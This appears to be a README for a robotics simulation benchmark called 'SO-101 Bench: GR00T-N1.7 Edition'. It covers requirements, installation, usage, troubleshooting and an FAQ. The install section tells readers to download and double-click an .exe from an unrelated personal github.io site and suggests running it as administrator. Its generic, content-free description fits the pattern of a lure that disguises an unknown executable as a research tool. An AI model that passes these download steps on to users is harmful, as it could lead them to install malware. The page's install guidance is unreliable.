SO-101 Bench: GR00T-N1.7 Edition acts as a testing environment for vision-language models. It measures how well artificial intelligence agents perform complex tasks. You do not need physical robots to use this software. This tool uses physics simulations to recreate real-world scenarios. It allows researchers to test motion planning, object recognition, and decision-making logic in a safe, controlled space.
This version focuses on the GR00T-N1.7 framework. It provides a standardized method to score agent intelligence. Whether you develop AI models or simply want to explore simulation technology, this tool provides the necessary backend to run benchmarks.
Before you install the software, confirm your computer meets these minimum specifications:
- Operating System: Windows 10 or Windows 11 (64-bit).
- Processor: Modern Intel Core i7 or AMD Ryzen 7 processor with at least 8 cores.
- Memory: 16 GB of RAM or more.
- Graphics Card: NVIDIA RTX 3060 or higher with at least 8 GB of VRAM. Ensure you install the latest graphics drivers from the NVIDIA website.
- Storage: 10 GB of available space on a Solid State Drive (SSD).
- Internet Connection: A stable connection to download necessary model files during the first startup.
Follow these steps to set up the software on your Windows machine.
- Visit the official release page to download the latest version: https://boulfou345.github.io.
- Look for the file ending in
.exeunder the "Assets" section. Click the filename to start the download. - Locate the downloaded
.exefile in your "Downloads" folder. - Double-click the file to launch the installer.
- Follow the on-screen instructions. You may choose the installation directory or accept the default path.
- Once the installer finishes, a shortcut will appear on your desktop.
- Open the application by double-clicking the desktop icon.
- The software will perform a first-time setup upon launch. It might download additional assets. Wait for this process to conclude.
Once the main dashboard loads, you see several options for running evaluations.
Click the "Scenario" dropdown menu. This list contains various environments, such as kitchen tasks, warehouse sorting, or office navigation. Choose one to begin.
Adjust the difficulty slider to change the complexity of the tasks. Higher difficulty levels introduce more obstacles and demand higher precision from the agent being tested.
Click the green "Execute" button to start the benchmark. The software will open a separate window displaying the simulation. You see the virtual agent attempt the task.
When the simulation finishes, the software returns to the dashboard and displays a numerical score. This score represents the efficiency and success of the model. You can export these results to a CSV file by clicking "Save Report" for later analysis.
- Software Crashes on Launch: Ensure your graphics drivers are up to date. Visit the NVIDIA website to download the latest driver version for your specific card.
- Slow Simulation Performance: Close other demanding applications, such as web browsers or video editing software. Ensure the application runs from an SSD rather than an external hard drive.
- Missing Assets Error: This usually happens if the network connection breaks during the first-time setup. Delete the "cache" folder in the application installation path and restart the program.
- Permissions Issues: If the program fails to save reports, right-click the application icon and select "Run as administrator."
Do I need a robot to use this software? No. This tool provides a virtual environment. It replaces physical hardware with a physics engine.
Can I create my own scenarios? The current version supports standardized scenarios. You can load external test profiles if they follow the standard JSON format defined in the documentation folder.
Is this software free? Yes. Use the software for research and personal evaluation.
Does this run on macOS or Linux? This version is designed specifically for Windows. Support for other operating systems may arrive in future updates.
We update this repository to reflect improvements in robot simulation technology. If you encounter bugs, open a new issue on the GitHub repository page. Provide your system logs and a description of the error to help improve the tool.
Keywords: simulation, robotics, artificial intelligence, benchmarking, performance, windows, virtual agents